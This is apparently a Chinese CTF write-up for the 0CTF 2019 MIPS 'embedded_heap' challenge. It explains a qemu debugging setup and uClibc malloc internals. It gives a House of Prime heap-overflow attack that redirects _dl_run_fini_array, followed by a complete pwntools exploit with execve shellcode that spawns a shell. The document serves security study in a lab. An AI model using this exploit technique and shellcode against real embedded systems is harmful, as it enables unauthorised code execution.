@H4l0
2020-08-24T17:23:44.000000Z
字数 10344
阅读 1727
IOT
复现了一下 2019 的 ctf 题目,这是一道 mips 的堆题,应该还是比较少见的,利用的攻击方式其实和 glibc 的差不多,这里重点讲解一下调试方法和利用方法。
1. qemu-system-mips 大端系统
2. gdbserver 静态程序
3. socat 静态链接程序(方便连接连接端口)
4. 漏洞程序
gdbserver 可以下载静态编译的版本:https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver,相应的下载大小端即可
socat 的静态程序下载:https://github.com/darkerego/mips-binaries
- 参考:https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/
漏洞程序(这里直接给出大佬的链接):https://github.com/e3pem/CTF/tree/master/0ctf2019/embedded_heap
首先将 embedded_heap 程序复制到 qemu 系统模式中的根目录下,可以使用 python -m SimpleHTTPServer
的方式复制:
ldd 查看是否链接库有没加载对:
可以发现这里是正确的,如果出现下面这种找不到的情况,就将打包文件夹下的 libc 和 ld 文件放到 /lib 目录下,对应好名称即可。
尝试运行,发现已经可以正常运行了:
将 gdbserver-7.12
、socat
静态链接的程序复制到根目录下,使用 gdbserver 调试的方法很简单:
root@debian-mips:/# ./gdbserver-mips 10.0.0.1:23456 ./embedded_heap
Process ./embedded_heap created; pid = 2857
Listening on port 23456
在本地宿主机运行 gdb-multiarch embedded_heap
,设置 target remote 10.0.0.1 23456
,如果发现是下面的情况:
gdb 中将 endian 设置成大端即可:
set arch mips
set endian big
设置后题调试正常:
如果要将程序部署到某个端口上要怎么做呢?这里就使用最简单的 socat,当然也可以用 docker 来部署。
qemu_system 模式下的环境是不自带 socat,所以需要提前准备好 mips 架构的 socat 程序。
./socat tcp-listen:8888,fork exec:./embedded_heap
这里就在 8888 端口开启了一个服务端程序,使用 nc 连接上即可,使用 pwntools 也是一样的用法:
gdb.attach
的用法的话,实现方法如下: ./socat tcp-listen:8888,fork exec:./embedded_heap &
ps -aux | grep embedded_heap
找到运行起来的 embedded_heap 程序,获取到 PID 号3 . 使用 gdbserver 附加程序进行调试:
./gdbserver-mips 10.0.0.1:3456 --attach 2730
4 . 宿主机使用 gdb-multiarch 连接上 3456 端口即可。
sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"
到官网下载到 uClibc-0.9.33.2
的源码:https://www.uclibc.org/downloads/uClibc-0.9.33.2.tar.xz
解压到本地打开 libc/stdlib/malloc-standard/malloc.c
文件,找到两个比较重要的结构体,一个是 malloc_state,一个是 malloc_chunk:
malloc_state 用来管理整个堆结构的整体布局,和 glibc 一样,这里同时也存在 fastbins 等。这里有个比较小的差别是 max_fast 是位置是位于 malloc_state 结构体里,而 glibc 的 global_max_fast 是位于整个结构体外的。这个特点可以用来做一个扩展 fastbins 的攻击。
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2];
/* Bitmap of bins. Trailing zero map handles cases of largest binned size */
unsigned int binmap[BINMAPSIZE+1];
/* Tunable parameters */
unsigned long trim_threshold;
size_t top_pad;
size_t mmap_threshold;
/* Memory map support */
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;
/* Cache malloc_getpagesize */
unsigned int pagesize;
/* Track properties of MORECORE */
unsigned int morecore_properties;
/* Statistics */
size_t mmapped_mem;
size_t sbrked_mem;
size_t max_sbrked_mem;
size_t max_mmapped_mem;
size_t max_total_mem;
};
malloc_chunk 的结构其实和 glibc 是一样的,所以在 glibc 上的攻击手法在这里同样适用:
struct malloc_chunk {
size_t prev_size; /* Size of previous chunk (if free). */
size_t size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
fastbins 的定义:
#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
如果这里的 size 为 8 时,那么 fastbin_index = (8>>3)-2 = -1,为 -1 的话,当 free 一个大小为 8 的 chunk 之后,就会将堆的地址写入 max_fast 的位置(max_fast 刚好在 fastbins[NFASTBINS]; 前面的一个位置),达到扩展 fastbin 范围的目的。
关于 mips 的堆的源码分析可以看先知的这篇文章。
使用 ghidra 进行分析,将程序加载进去,因为开启了 PIE 保护,所以这里设置 image 基地址为 0(默认是 10000):
根据运行的结果,总共有三个功能点:View、Update、Pwn
大概就是随机 malloc 几块随机 size 的 chunk。
int FUN_00001140(void)
{
int __fd;
ssize_t sVar1;
void *__addr;
void *pvVar2;
int iVar3;
uint uVar4;
int local_30;
uint local_14;
uint local_10;
uint local_c;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
alarm(200);
puts(
" __ __ _____________ __ __ ___ ____\n / //_// ____/ ____/ | / / / / / | / __ )\n / ,< / __/ / __/ / |/ / / / / /| | / __ |\n / /| |/ /___/ /___/ /| / //___/ ___ |/ /_/ /\n/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n"
);
puts("===== Embedded Heap =====");
__fd = open("/dev/urandom",0);
if (-1 < __fd) {
sVar1 = read(__fd,&local_14,0xc);
if (sVar1 == 0xc) {
close(__fd);
__addr = (void *)(local_14 + (uint)((ulonglong)local_14 * 0x18004e01 >> 0x3b) * -0x55544000 +
0x10000 & 0xfffff000);
pvVar2 = mmap(__addr,0x1000,3,0x802,-1,0);
if (__addr != pvVar2) {
/* WARNING: Subroutine does not return */
exit(-1);
}
srand(local_c);
__fd = (int)__addr + (local_10 % 0xf40 & 0xfffffff0);
iVar3 = rand();
local_30 = 0;
while (local_30 < iVar3 % 0xd + 3) {
uVar4 = rand();
uVar4 = uVar4 & 0x800000ff;
if ((int)uVar4 < 0) {
uVar4 = (uVar4 - 1 | 0xffffff00) + 1;
}
mymalloc(__fd,uVar4);
local_30 = local_30 + 1;
}
FUN_00001038(__fd);
return __fd;
}
}
/* WARNING: Subroutine does not return */
exit(-1);
}
将堆块里的内容使用 write 函数输出出来:
void FUN_000018a4(int iParm1)
{
int iVar1;
printf("Index: ");
iVar1 = get_int();
if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
puts("Invalid Index");
}
else {
printf("Chunk[%d]: ",iVar1);
show_content(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),*(undefined4 *)(iParm1 + iVar1 * 0xc + 4)
);
}
return;
}
重新填充堆块的内容,因为这里的 size 值可控,所以存在堆溢出。
void FUN_0000157c(int iParm1)
{
int iVar1;
int size;
printf("Index: ");
iVar1 = get_int();
if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
puts("Invalid Index");
}
else {
printf("Size: ");
size = get_int();
if (0 < size) {
printf("Content: ");
(*(code *)0xad0)(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),size);
printf("Chunk %d Updated\n",iVar1);
}
}
return;
}
这里可以进行两次的 free 和一个的 update 操作:
if (iVar2 == 3) {
FUN_00001720(uVar1);
puts("One more time! Try it harder!");
FUN_00001720(uVar1);
puts("Everything is still fine. Is that all you got?");
undate(uVar1);
return 0;
}
FUN_00001720 函数指定 index 之后就行 free 的操作,这里不存在 UAF:
void FUN_00001720(int iParm1)
{
int index;
printf("Index: ");
index = get_int();
if (((index < 0) || (0xf < index)) || (*(int *)(iParm1 + index * 0xc) != 1)) {
puts("Invalid Index");
}
else {
*(undefined4 *)(iParm1 + index * 0xc) = 0;
*(undefined4 *)(iParm1 + index * 0xc + 4) = 0;
free(*(void **)(iParm1 + index * 0xc + 8));
*(undefined4 *)(iParm1 + index * 0xc + 8) = 0;
printf("Chunk %d Deleted\n",index);
}
return;
}
参考文章中的思路,这里可以使用 House of Prime
这个技巧来进行攻击,通过溢出将下一个 chunk 的 size 覆盖为 8,free 掉这个 size 之后,就会将当前堆的地址写入到 malloc_state 当中的前一个位置,这里刚好是 max_fast 的地址。这时候不管之后 free 的 size 的大小为多少,都会当作 fastbin 来对待。
这样再通过一次溢出,将写一个 chunk 的 size 改成一个精心控制的值,就可以向一定范围内写入一个堆地址(fastbin 机制的特点,不清楚的可以去 ctfwiki 上看看!)。
那么这里可以借鉴格式化字符串漏洞的利用方法,将某个地址写入到 .fini.array 区段中,程序在退出时,就会返回到这个地址中。
查看 /proc/2730/maps
获取 libc 的基地址:0x77f78000
:
root@debian-mips:/# cat /proc/2402/maps
2633a000-2633b000 rw-p 00000000 00:00 0
55550000-55552000 r-xp 00000000 08:01 14 /embedded_heap
55561000-55562000 r--p 00001000 08:01 14 /embedded_heap
55562000-55563000 rw-p 00002000 08:01 14 /embedded_heap
55563000-55564000 rwxp 00000000 00:00 0 [heap]
77f78000-77fca000 r-xp 00000000 08:01 787636 /lib/libc.so.0
77fca000-77fd9000 ---p 00000000 00:00 0
77fd9000-77fda000 r--p 00051000 08:01 787636 /lib/libc.so.0
77fda000-77fdb000 rw-p 00052000 08:01 787636 /lib/libc.so.0
77fdb000-77fe0000 rw-p 00000000 00:00 0
77fe0000-77fe7000 r-xp 00000000 08:01 787634 /lib/ld-uClibc.so.0
77ff4000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00006000 08:01 787634 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00007000 08:01 787634 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rw-p 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
通过第一个 chunk 的溢出,将下一个 chunk 的 size 修改成 9:
payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1] # size 改成 9 ,其中一位为标志位。
update(p,0,ck0_size+0x10,payload)
malloc_state 地址的查找,动态调试查看变化:
使用 IDA 打开 libc.so.0 文件,找到 malloc_trim
函数,往下滑双击就可以看到这个地址:
malloc_state 在 libc 中的偏移地址为:0x00066D7C
使用 gdb-multiarch 进行调试:
delete(1) 之前大小为 0x48:
delete(1) 之后就会向这个位置写入一个堆地址:
_dl_run_fini_array
的作用类似于上面说的 .fini.array,只不过这个是在 ld 的区段中。
vmmap 获取 ld 的加载地址为:0x77fe0000
,在 IDA 中获取到 _dl_run_fini_array 的偏移为 0x00017064:
通过计算得到需要更改的 size 为 0x305d9 ,具体的计算方法可以查看参考文章。
在调用 pwn 函数之前,先 update 一个 chunk:
payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
update(p,2,ck2_size+0x10,payload)
gdb 调试时查看相应位置的值:
delete(3) 之前:
pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x77fe16e4 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
0x77ff7084: 0x77ff7194 0x77ff71b8
delete(3) 之后,这里已经是被修改成了堆地址了,所以现在我们退出程序时,就会 call 这个地址。
pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x555631b0 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
0x77ff7084: 0x77ff7194 0x77ff71b8
pwndbg> x/20xw 0x555631b0
0x555631b0: 0x61616161 0x000305d9 0x77fe16e4 0x00000000
0x555631c0: 0x0000000a 0x00000000 0x00000000 0x00000000
0x555631d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x555631e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x555631f0: 0x00000000 0x00000000 0x00000000 0x00000000
于是这里我们只需要把这个堆地址的内容提前填充成 shellcode 就行。
shellcode 可以使用 msf 生成,也可以直接找现成的。
\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c
运行 EXP getshell:
这里引用了大佬的 exp:
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
def update(p,idx,size,content):
sla(p,'Command: ',str(1))
sla(p,'Index: ',str(idx))
sla(p,'Size: ',str(size))
sla(p,'Content: ',str(content))
def get_chunk_size(size):
if size%4==0:
if size%8==0:
size = size+4
else:
pass
else:
size = size+4-size%4
if size%8==0:
size = size+4
if size <= 8:
size = 12
return size
def delete(p,idx):
sla(p,'Index: ',str(idx))
def pwn():
DEBUG = 0
context.arch = 'mips'
context.endian = 'big'
BIN_PATH = './embedded_heap'
elf = ELF(BIN_PATH)
if DEBUG == 1:
p = process(BIN_PATH)
#context.log_level = 'debug'
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('10.0.0.1',8888)
# libc = ELF('./libc_32.so.6')
#context.log_level = 'debug'
# 0x5555#55554000
ru(p,'Chunk[0]: ')
ck0_size = int(ru(p,' ')[:-1])
ck0_size = get_chunk_size(ck0_size)
ru(p,'Chunk[2]: ')
ck2_size = int(ru(p,' ')[:-1])
ck2_size = get_chunk_size(ck2_size)
log.info('chunk 0 size: '+str(ck0_size))
log.info('chunk 1 size: '+str(ck2_size))
payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1]
update(p,0,ck0_size+0x10,payload)
payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
update(p,2,ck2_size+0x10,payload)
# pwn
sla(p,'Command: ',str(3))
delete(p,1)
sla(p,'Index:',str(3))
#delete(p,3)
#sla(p,'Index: ',str(3))
sc = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
sla(p,"Index:",str(2))
sla(p,'Size: ',str(ck2_size+0xff))
sa(p,"Content:",'a'*(ck2_size-4)+sc.ljust(0xff+4,"\x61"))
p.interactive()
pwn()